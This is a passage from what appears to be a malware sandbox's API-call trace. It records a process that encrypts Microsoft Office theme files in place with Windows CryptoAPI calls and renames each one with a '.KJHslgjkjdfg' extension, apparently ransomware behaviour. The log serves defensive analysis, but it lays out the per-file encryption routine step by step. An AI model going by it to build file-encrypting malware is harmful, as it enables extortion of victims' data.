returned 1 [0196.763] CryptDestroyKey (hKey=0x2c6260) returned 1 [0196.763] SetFilePointerEx (in: hFile=0x124, liDistanceToMove=0x18ce4, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0196.763] SetEndOfFile (hFile=0x124) returned 1 [0196.767] GetProcessHeap () returned 0x2a0000 [0196.767] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2c4b30 | out: hHeap=0x2a0000) returned 1 [0196.767] GetProcessHeap () returned 0x2a0000 [0196.767] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2bdd90 | out: hHeap=0x2a0000) returned 1 [0196.767] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Civic.thmx" (normalized: "c:\\program files\\microsoft office\\document themes 14\\civic.thmx"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Civic.thmx.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\document themes 14\\civic.thmx.kjhslgjkjdfg")) returned 1 [0196.769] CloseHandle (hObject=0x124) returned 1 [0196.769] FindNextFileW (in: hFindFile=0x2c62e0, lpFindFileData=0x290f588 | out: lpFindFileData=0x290f588*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x43fb4000, ftCreationTime.dwHighDateTime=0x1cbded9, ftLastAccessTime.dwLowDateTime=0xe59db6e0, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0x43fb4000, ftLastWriteTime.dwHighDateTime=0x1cbded9, nFileSizeHigh=0x0, nFileSizeLow=0x105f4, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="Clarity.thmx", cAlternateFileName="CLARIT~1.THM")) returned 1 [0196.769] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Clarity.thmx" (normalized: "c:\\program files\\microsoft office\\document themes 14\\clarity.thmx"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x124 [0196.771] GetProcessHeap () returned 0x2a0000 [0196.771] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x10) returned 0x2bdd90 [0196.771] CryptGenRandom (in: hProv=0x2bcb08, dwLen=0x10, pbBuffer=0x2bdd90 | out: pbBuffer=0x2bdd90) returned 1 [0196.771] SetFilePointerEx (in: hFile=0x124, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x290f518 | out: lpNewFilePointer=0x0) returned 1 [0196.772] WriteFile (in: hFile=0x124, lpBuffer=0x290f528*, nNumberOfBytesToWrite=0xc, lpNumberOfBytesWritten=0x290f4f8, lpOverlapped=0x0 | out: lpBuffer=0x290f528*, lpNumberOfBytesWritten=0x290f4f8*=0xc, lpOverlapped=0x0) returned 1 [0196.774] CryptImportKey (in: hProv=0x2bcb08, pbData=0x2c4970, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x290f4fc | out: phKey=0x290f4fc*=0x2c6260) returned 1 [0196.774] CryptSetKeyParam (hKey=0x2c6260, dwParam=0x1, pbData=0x2bdd90, dwFlags=0x0) returned 1 [0196.774] GetProcessHeap () returned 0x2a0000 [0196.774] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x40) returned 0x2bf570 [0196.774] CryptEncrypt (in: hKey=0x2c6260, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2bf570*, pdwDataLen=0x290f4e0*=0x40, dwBufLen=0x40 | out: pbData=0x2bf570*, pdwDataLen=0x290f4e0*=0x40) returned 1 [0196.774] CryptDestroyKey (hKey=0x2c6260) returned 1 [0196.774] WriteFile (in: hFile=0x124, lpBuffer=0x2bf570*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x290f4f8, lpOverlapped=0x0 | out: lpBuffer=0x2bf570*, lpNumberOfBytesWritten=0x290f4f8*=0x40, lpOverlapped=0x0) returned 1 [0196.774] WriteFile (in: hFile=0x124, lpBuffer=0x290f500*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x290f4f8, lpOverlapped=0x0 | out: lpBuffer=0x290f500*, lpNumberOfBytesWritten=0x290f4f8*=0x4, lpOverlapped=0x0) returned 1 [0196.774] WriteFile (in: hFile=0x124, lpBuffer=0x2bdd90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x290f4f8, lpOverlapped=0x0 | out: lpBuffer=0x2bdd90*, lpNumberOfBytesWritten=0x290f4f8*=0x10, lpOverlapped=0x0) returned 1 [0196.775] WriteFile (in: hFile=0x124, lpBuffer=0x2c5158*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x290f4f8, lpOverlapped=0x0 | out: lpBuffer=0x2c5158*, lpNumberOfBytesWritten=0x290f4f8*=0x80, lpOverlapped=0x0) returned 1 [0196.775] SetFilePointerEx (in: hFile=0x124, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x290f520 | out: lpNewFilePointer=0x0) returned 1 [0196.775] WriteFile (in: hFile=0x124, lpBuffer=0x290f510*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x290f4f8, lpOverlapped=0x0 | out: lpBuffer=0x290f510*, lpNumberOfBytesWritten=0x290f4f8*=0x8, lpOverlapped=0x0) returned 1 [0196.775] CryptImportKey (in: hProv=0x2bcb08, pbData=0x2c4970, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x290f4fc | out: phKey=0x290f4fc*=0x2c6260) returned 1 [0196.775] CryptSetKeyParam (hKey=0x2c6260, dwParam=0x1, pbData=0x2bdd90, dwFlags=0x0) returned 1 [0196.775] SetFilePointerEx (in: hFile=0x124, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0196.775] ReadFile (in: hFile=0x124, lpBuffer=0x26c0020, nNumberOfBytesToRead=0x105f4, lpNumberOfBytesRead=0x290f504, lpOverlapped=0x0 | out: lpBuffer=0x26c0020*, lpNumberOfBytesRead=0x290f504*=0x105f4, lpOverlapped=0x0) returned 1 [0196.777] CryptEncrypt (in: hKey=0x2c6260, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x26c0020*, pdwDataLen=0x290f4e0*=0x10600, dwBufLen=0x10600 | out: pbData=0x26c0020*, pdwDataLen=0x290f4e0*=0x10600) returned 1 [0196.777] SetFilePointerEx (in: hFile=0x124, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0196.777] WriteFile (in: hFile=0x124, lpBuffer=0x26c0020*, nNumberOfBytesToWrite=0x10600, lpNumberOfBytesWritten=0x290f4f8, lpOverlapped=0x0 | out: lpBuffer=0x26c0020*, lpNumberOfBytesWritten=0x290f4f8*=0x10600, lpOverlapped=0x0) returned 1 [0196.778] CryptDestroyKey (hKey=0x2c6260) returned 1 [0196.778] SetFilePointerEx (in: hFile=0x124, liDistanceToMove=0x106d4, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0196.778] SetEndOfFile (hFile=0x124) returned 1 [0196.781] GetProcessHeap () returned 0x2a0000 [0196.781] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2bf570 | out: hHeap=0x2a0000) returned 1 [0196.781] GetProcessHeap () returned 0x2a0000 [0196.781] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2bdd90 | out: hHeap=0x2a0000) returned 1 [0196.781] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Clarity.thmx" (normalized: "c:\\program files\\microsoft office\\document themes 14\\clarity.thmx"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Clarity.thmx.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\document themes 14\\clarity.thmx.kjhslgjkjdfg")) returned 1 [0196.783] CloseHandle (hObject=0x124) returned 1 [0196.783] FindNextFileW (in: hFindFile=0x2c62e0, lpFindFileData=0x290f588 | out: lpFindFileData=0x290f588*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6a20e000, ftCreationTime.dwHighDateTime=0x1cbded9, ftLastAccessTime.dwLowDateTime=0xe5a01840, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0x6a20e000, ftLastWriteTime.dwHighDateTime=0x1cbded9, nFileSizeHigh=0x0, nFileSizeLow=0x8ad4d, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="Composite.thmx", cAlternateFileName="COMPOS~1.THM")) returned 1 [0196.783] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Composite.thmx" (normalized: "c:\\program files\\microsoft office\\document themes 14\\composite.thmx"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x124 [0196.786] GetProcessHeap () returned 0x2a0000 [0196.786] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x10) returned 0x2bdd90 [0196.786] CryptGenRandom (in: hProv=0x2bcb08, dwLen=0x10, pbBuffer=0x2bdd90 | out: pbBuffer=0x2bdd90) returned 1 [0196.786] SetFilePointerEx (in: hFile=0x124, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x290f518 | out: lpNewFilePointer=0x0) returned 1 [0196.786] WriteFile (in: hFile=0x124, lpBuffer=0x290f528*, nNumberOfBytesToWrite=0x3, lpNumberOfBytesWritten=0x290f4f8, lpOverlapped=0x0 | out: lpBuffer=0x290f528*, lpNumberOfBytesWritten=0x290f4f8*=0x3, lpOverlapped=0x0) returned 1 [0196.788] CryptImportKey (in: hProv=0x2bcb08, pbData=0x2c4af8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x290f4fc | out: phKey=0x290f4fc*=0x2c6260) returned 1 [0196.788] CryptSetKeyParam (hKey=0x2c6260, dwParam=0x1, pbData=0x2bdd90, dwFlags=0x0) returned 1 [0196.788] GetProcessHeap () returned 0x2a0000 [0196.788] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x40) returned 0x2bf570 [0196.788] CryptEncrypt (in: hKey=0x2c6260, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2bf570*, pdwDataLen=0x290f4e0*=0x40, dwBufLen=0x40 | out: pbData=0x2bf570*, pdwDataLen=0x290f4e0*=0x40) returned 1 [0196.788] CryptDestroyKey (hKey=0x2c6260) returned 1 [0196.788] WriteFile (in: hFile=0x124, lpBuffer=0x2bf570*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x290f4f8, lpOverlapped=0x0 | out: lpBuffer=0x2bf570*, lpNumberOfBytesWritten=0x290f4f8*=0x40, lpOverlapped=0x0) returned 1 [0196.788] WriteFile (in: hFile=0x124, lpBuffer=0x290f500*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x290f4f8, lpOverlapped=0x0 | out: lpBuffer=0x290f500*, lpNumberOfBytesWritten=0x290f4f8*=0x4, lpOverlapped=0x0) returned 1 [0196.788] WriteFile (in: hFile=0x124, lpBuffer=0x2bdd90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x290f4f8, lpOverlapped=0x0 | out: lpBuffer=0x2bdd90*, lpNumberOfBytesWritten=0x290f4f8*=0x10, lpOverlapped=0x0) returned 1 [0196.788] WriteFile (in: hFile=0x124, lpBuffer=0x2c1920*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x290f4f8, lpOverlapped=0x0 | out: lpBuffer=0x2c1920*, lpNumberOfBytesWritten=0x290f4f8*=0x80, lpOverlapped=0x0) returned 1 [0196.789] SetFilePointerEx (in: hFile=0x124, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x290f520 | out: lpNewFilePointer=0x0) returned 1 [0196.789] WriteFile (in: hFile=0x124, lpBuffer=0x290f510*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x290f4f8, lpOverlapped=0x0 | out: lpBuffer=0x290f510*, lpNumberOfBytesWritten=0x290f4f8*=0x8, lpOverlapped=0x0) returned 1 [0196.789] CryptImportKey (in: hProv=0x2bcb08, pbData=0x2c4af8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x290f4fc | out: phKey=0x290f4fc*=0x2c6260) returned 1 [0196.789] CryptSetKeyParam (hKey=0x2c6260, dwParam=0x1, pbData=0x2bdd90, dwFlags=0x0) returned 1 [0196.789] SetFilePointerEx (in: hFile=0x124, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0196.789] ReadFile (in: hFile=0x124, lpBuffer=0x26c0020, nNumberOfBytesToRead=0x8ad4d, lpNumberOfBytesRead=0x290f504, lpOverlapped=0x0 | out: lpBuffer=0x26c0020*, lpNumberOfBytesRead=0x290f504*=0x8ad4d, lpOverlapped=0x0) returned 1 [0196.800] CryptEncrypt (in: hKey=0x2c6260, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x26c0020*, pdwDataLen=0x290f4e0*=0x8ad50, dwBufLen=0x8ad50 | out: pbData=0x26c0020*, pdwDataLen=0x290f4e0*=0x8ad50) returned 1 [0196.805] SetFilePointerEx (in: hFile=0x124, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0196.805] WriteFile (in: hFile=0x124, lpBuffer=0x26c0020*, nNumberOfBytesToWrite=0x8ad50, lpNumberOfBytesWritten=0x290f4f8, lpOverlapped=0x0 | out: lpBuffer=0x26c0020*, lpNumberOfBytesWritten=0x290f4f8*=0x8ad50, lpOverlapped=0x0) returned 1 [0196.807] CryptDestroyKey (hKey=0x2c6260) returned 1 [0196.807] SetFilePointerEx (in: hFile=0x124, liDistanceToMove=0x8ae24, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0196.807] SetEndOfFile (hFile=0x124) returned 1 [0196.810] GetProcessHeap () returned 0x2a0000 [0196.810] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2bf570 | out: hHeap=0x2a0000) returned 1 [0196.810] GetProcessHeap () returned 0x2a0000 [0196.810] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2bdd90 | out: hHeap=0x2a0000) returned 1 [0196.810] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Composite.thmx" (normalized: "c:\\program files\\microsoft office\\document themes 14\\composite.thmx"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Composite.thmx.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\document themes 14\\composite.thmx.kjhslgjkjdfg")) returned 1 [0196.812] CloseHandle (hObject=0x124) returned 1 [0196.812] FindNextFileW (in: hFindFile=0x2c62e0, lpFindFileData=0x290f588 | out: lpFindFileData=0x290f588*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8607600, ftCreationTime.dwHighDateTime=0x1cbded9, ftLastAccessTime.dwLowDateTime=0xe5a279a0, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0x8607600, ftLastWriteTime.dwHighDateTime=0x1cbded9, nFileSizeHigh=0x0, nFileSizeLow=0x1240d, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="Concourse.thmx", cAlternateFileName="CONCOU~1.THM")) returned 1 [0196.812] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Concourse.thmx" (normalized: "c:\\program files\\microsoft office\\document themes 14\\concourse.thmx"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x124 [0196.815] GetProcessHeap () returned 0x2a0000 [0196.815] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x10) returned 0x2bdd90 [0196.815] CryptGenRandom (in: hProv=0x2bcb08, dwLen=0x10, pbBuffer=0x2bdd90 | out: pbBuffer=0x2bdd90) returned 1 [0196.815] SetFilePointerEx (in: hFile=0x124, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x290f518 | out: lpNewFilePointer=0x0) returned 1 [0196.815] WriteFile (in: hFile=0x124, lpBuffer=0x290f528*, nNumberOfBytesToWrite=0x3, lpNumberOfBytesWritten=0x290f4f8, lpOverlapped=0x0 | out: lpBuffer=0x290f528*, lpNumberOfBytesWritten=0x290f4f8*=0x3, lpOverlapped=0x0) returned 1 [0196.817] CryptImportKey (in: hProv=0x2bcb08, pbData=0x2c4970, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x290f4fc | out: phKey=0x290f4fc*=0x2c6260) returned 1 [0196.817] CryptSetKeyParam (hKey=0x2c6260, dwParam=0x1, pbData=0x2bdd90, dwFlags=0x0) returned 1 [0196.817] GetProcessHeap () returned 0x2a0000 [0196.817] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x40) returned 0x2bf570 [0196.817] CryptEncrypt (in: hKey=0x2c6260, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2bf570*, pdwDataLen=0x290f4e0*=0x40, dwBufLen=0x40 | out: pbData=0x2bf570*, pdwDataLen=0x290f4e0*=0x40) returned 1 [0196.817] CryptDestroyKey (hKey=0x2c6260) returned 1 [0196.817] WriteFile (in: hFile=0x124, lpBuffer=0x2bf570*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x290f4f8, lpOverlapped=0x0 | out: lpBuffer=0x2bf570*, lpNumberOfBytesWritten=0x290f4f8*=0x40, lpOverlapped=0x0) returned 1 [0196.817] WriteFile (in: hFile=0x124, lpBuffer=0x290f500*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x290f4f8, lpOverlapped=0x0 | out: lpBuffer=0x290f500*, lpNumberOfBytesWritten=0x290f4f8*=0x4, lpOverlapped=0x0) returned 1 [0196.817] WriteFile (in: hFile=0x124, lpBuffer=0x2bdd90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x290f4f8, lpOverlapped=0x0 | out: lpBuffer=0x2bdd90*, lpNumberOfBytesWritten=0x290f4f8*=0x10, lpOverlapped=0x0) returned 1 [0196.817] WriteFile (in: hFile=0x124, lpBuffer=0x2c5158*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x290f4f8, lpOverlapped=0x0 | out: lpBuffer=0x2c5158*, lpNumberOfBytesWritten=0x290f4f8*=0x80, lpOverlapped=0x0) returned 1 [0196.818] SetFilePointerEx (in: hFile=0x124, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x290f520 | out: lpNewFilePointer=0x0) returned 1 [0196.818] WriteFile (in: hFile=0x124, lpBuffer=0x290f510*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x290f4f8, lpOverlapped=0x0 | out: lpBuffer=0x290f510*, lpNumberOfBytesWritten=0x290f4f8*=0x8, lpOverlapped=0x0) returned 1 [0196.818] CryptImportKey (in: hProv=0x2bcb08, pbData=0x2c4970, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x290f4fc | out: phKey=0x290f4fc*=0x2c6260) returned 1 [0196.818] CryptSetKeyParam (hKey=0x2c6260, dwParam=0x1, pbData=0x2bdd90, dwFlags=0x0) returned 1 [0196.818] SetFilePointerEx (in: hFile=0x124, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0196.818] ReadFile (in: hFile=0x124, lpBuffer=0x26c0020, nNumberOfBytesToRead=0x1240d, lpNumberOfBytesRead=0x290f504, lpOverlapped=0x0 | out: lpBuffer=0x26c0020*, lpNumberOfBytesRead=0x290f504*=0x1240d, lpOverlapped=0x0) returned 1 [0196.822] CryptEncrypt (in: hKey=0x2c6260, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x26c0020*, pdwDataLen=0x290f4e0*=0x12410, dwBufLen=0x12410 | out: pbData=0x26c0020*, pdwDataLen=0x290f4e0*=0x12410) returned 1 [0196.823] SetFilePointerEx (in: hFile=0x124, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0196.823] WriteFile (in: hFile=0x124, lpBuffer=0x26c0020*, nNumberOfBytesToWrite=0x12410, lpNumberOfBytesWritten=0x290f4f8, lpOverlapped=0x0 | out: lpBuffer=0x26c0020*, lpNumberOfBytesWritten=0x290f4f8*=0x12410, lpOverlapped=0x0) returned 1 [0196.823] CryptDestroyKey (hKey=0x2c6260) returned 1 [0196.823] SetFilePointerEx (in: hFile=0x124, liDistanceToMove=0x124e4, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0196.823] SetEndOfFile (hFile=0x124) returned 1 [0196.826] GetProcessHeap () returned 0x2a0000 [0196.826] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2bf570 | out: hHeap=0x2a0000) returned 1 [0196.826] GetProcessHeap () returned 0x2a0000 [0196.826] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2bdd90 | out: hHeap=0x2a0000) returned 1 [0196.826] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Concourse.thmx" (normalized: "c:\\program files\\microsoft office\\document themes 14\\concourse.thmx"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Concourse.thmx.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\document themes 14\\concourse.thmx.kjhslgjkjdfg")) returned 1 [0196.828] CloseHandle (hObject=0x124) returned 1 [0196.828] FindNextFileW (in: hFindFile=0x2c62e0, lpFindFileData=0x290f588 | out: lpFindFileData=0x290f588*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6ee59400, ftCreationTime.dwHighDateTime=0x1cbded9, ftLastAccessTime.dwLowDateTime=0xe5a99dc0, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0x6ee59400, ftLastWriteTime.dwHighDateTime=0x1cbded9, nFileSizeHigh=0x0, nFileSizeLow=0x1e92c4, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="Couture.thmx", cAlternateFileName="COUTUR~1.THM")) returned 1 [0196.828] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Couture.thmx" (normalized: "c:\\program files\\microsoft office\\document themes 14\\couture.thmx"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x124 [0196.829] GetFileSizeEx (in: hFile=0x124, lpFileSize=0x290f508 | out: lpFileSize=0x290f508*=2003652) returned 1 [0196.829] GetProcessHeap () returned 0x2a0000 [0196.829] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x10) returned 0x2bdd90 [0196.830] CryptGenRandom (in: hProv=0x2bcb08, dwLen=0x10, pbBuffer=0x2bdd90 | out: pbBuffer=0x2bdd90) returned 1 [0196.830] SetFilePointerEx (in: hFile=0x124, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0196.830] WriteFile (in: hFile=0x124, lpBuffer=0x290f528*, nNumberOfBytesToWrite=0xc, lpNumberOfBytesWritten=0x290f4f4, lpOverlapped=0x0 | out: lpBuffer=0x290f528*, lpNumberOfBytesWritten=0x290f4f4*=0xc, lpOverlapped=0x0) returned 1 [0196.832] CryptImportKey (in: hProv=0x2bcb08, pbData=0x2c4af8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x290f4f8 | out: phKey=0x290f4f8*=0x2c6260) returned 1 [0196.832] CryptSetKeyParam (hKey=0x2c6260, dwParam=0x1, pbData=0x2bdd90, dwFlags=0x0) returned 1 [0196.832] GetProcessHeap () returned 0x2a0000 [0196.832] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x40) returned 0x2bf570 [0196.832] CryptEncrypt (in: hKey=0x2c6260, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2bf570*, pdwDataLen=0x290f4d8*=0x40, dwBufLen=0x40 | out: pbData=0x2bf570*, pdwDataLen=0x290f4d8*=0x40) returned 1 [0196.832] CryptDestroyKey (hKey=0x2c6260) returned 1 [0196.832] WriteFile (in: hFile=0x124, lpBuffer=0x2bf570*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x290f4f4, lpOverlapped=0x0 | out: lpBuffer=0x2bf570*, lpNumberOfBytesWritten=0x290f4f4*=0x40, lpOverlapped=0x0) returned 1 [0196.832] WriteFile (in: hFile=0x124, lpBuffer=0x290f4fc*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x290f4f4, lpOverlapped=0x0 | out: lpBuffer=0x290f4fc*, lpNumberOfBytesWritten=0x290f4f4*=0x4, lpOverlapped=0x0) returned 1 [0196.832] WriteFile (in: hFile=0x124, lpBuffer=0x2bdd90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x290f4f4, lpOverlapped=0x0 | out: lpBuffer=0x2bdd90*, lpNumberOfBytesWritten=0x290f4f4*=0x10, lpOverlapped=0x0) returned 1 [0196.832] WriteFile (in: hFile=0x124, lpBuffer=0x2c1920*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x290f4f4, lpOverlapped=0x0 | out: lpBuffer=0x2c1920*, lpNumberOfBytesWritten=0x290f4f4*=0x80, lpOverlapped=0x0) returned 1 [0196.832] SetFilePointerEx (in: hFile=0x124, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x290f520 | out: lpNewFilePointer=0x0) returned 1 [0196.832] WriteFile (in: hFile=0x124, lpBuffer=0x290f510*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x290f4f4, lpOverlapped=0x0 | out: lpBuffer=0x290f510*, lpNumberOfBytesWritten=0x290f4f4*=0x8, lpOverlapped=0x0) returned 1 [0196.832] CryptImportKey (in: hProv=0x2bcb08, pbData=0x2c4af8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x290f4f8 | out: phKey=0x290f4f8*=0x2c6260) returned 1 [0196.832] CryptSetKeyParam (hKey=0x2c6260, dwParam=0x1, pbData=0x2bdd90, dwFlags=0x0) returned 1 [0196.832] SetFilePointerEx (in: hFile=0x124, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x290f4c8 | out: lpNewFilePointer=0x0) returned 1 [0196.832] ReadFile (in: hFile=0x124, lpBuffer=0x26c0020, nNumberOfBytesToRead=0x40000, lpNumberOfBytesRead=0x290f4bc, lpOverlapped=0x0 | out: lpBuffer=0x26c0020*, lpNumberOfBytesRead=0x290f4bc*=0x40000, lpOverlapped=0x0) returned 1 [0196.840] CryptEncrypt (in: hKey=0x2c6260, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x26c0020*, pdwDataLen=0x290f4c4*=0x40000, dwBufLen=0x40000 | out: pbData=0x26c0020*, pdwDataLen=0x290f4c4*=0x40000) returned 1 [0196.844] SetFilePointerEx (in: hFile=0x124, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0196.844] WriteFile (in: hFile=0x124, lpBuffer=0x26c0020*, nNumberOfBytesToWrite=0x40000, lpNumberOfBytesWritten=0x290f4c0, lpOverlapped=0x0 | out: lpBuffer=0x26c0020*, lpNumberOfBytesWritten=0x290f4c0*=0x40000, lpOverlapped=0x0) returned 1 [0196.845] SetFilePointerEx (in: hFile=0x124, liDistanceToMove=0x1e93a4, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0196.845] WriteFile (in: hFile=0x124, lpBuffer=0x290f4c8*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x290f4c0, lpOverlapped=0x0 | out: lpBuffer=0x290f4c8*, lpNumberOfBytesWritten=0x290f4c0*=0x8, lpOverlapped=0x0) returned 1 [0196.845] SetFilePointerEx (in: hFile=0x124, liDistanceToMove=0xa30ec, lpNewFilePointer=0x0, dwMoveMethod=0x290f4c8 | out: lpNewFilePointer=0x0) returned 1 [0196.845] ReadFile (in: hFile=0x124, lpBuffer=0x26c0020, nNumberOfBytesToRead=0x40000, lpNumberOfBytesRead=0x290f4bc, lpOverlapped=0x0 | out: lpBuffer=0x26c0020*, lpNumberOfBytesRead=0x290f4bc*=0x40000, lpOverlapped=0x0) returned 1 [0196.851] CryptEncrypt (in: hKey=0x2c6260, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x26c0020*, pdwDataLen=0x290f4c4*=0x40000, dwBufLen=0x40000 | out: pbData=0x26c0020*, pdwDataLen=0x290f4c4*=0x40000) returned 1 [0196.854] SetFilePointerEx (in: hFile=0x124, liDistanceToMove=0xa30ec, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0196.854] WriteFile (in: hFile=0x124, lpBuffer=0x26c0020*, 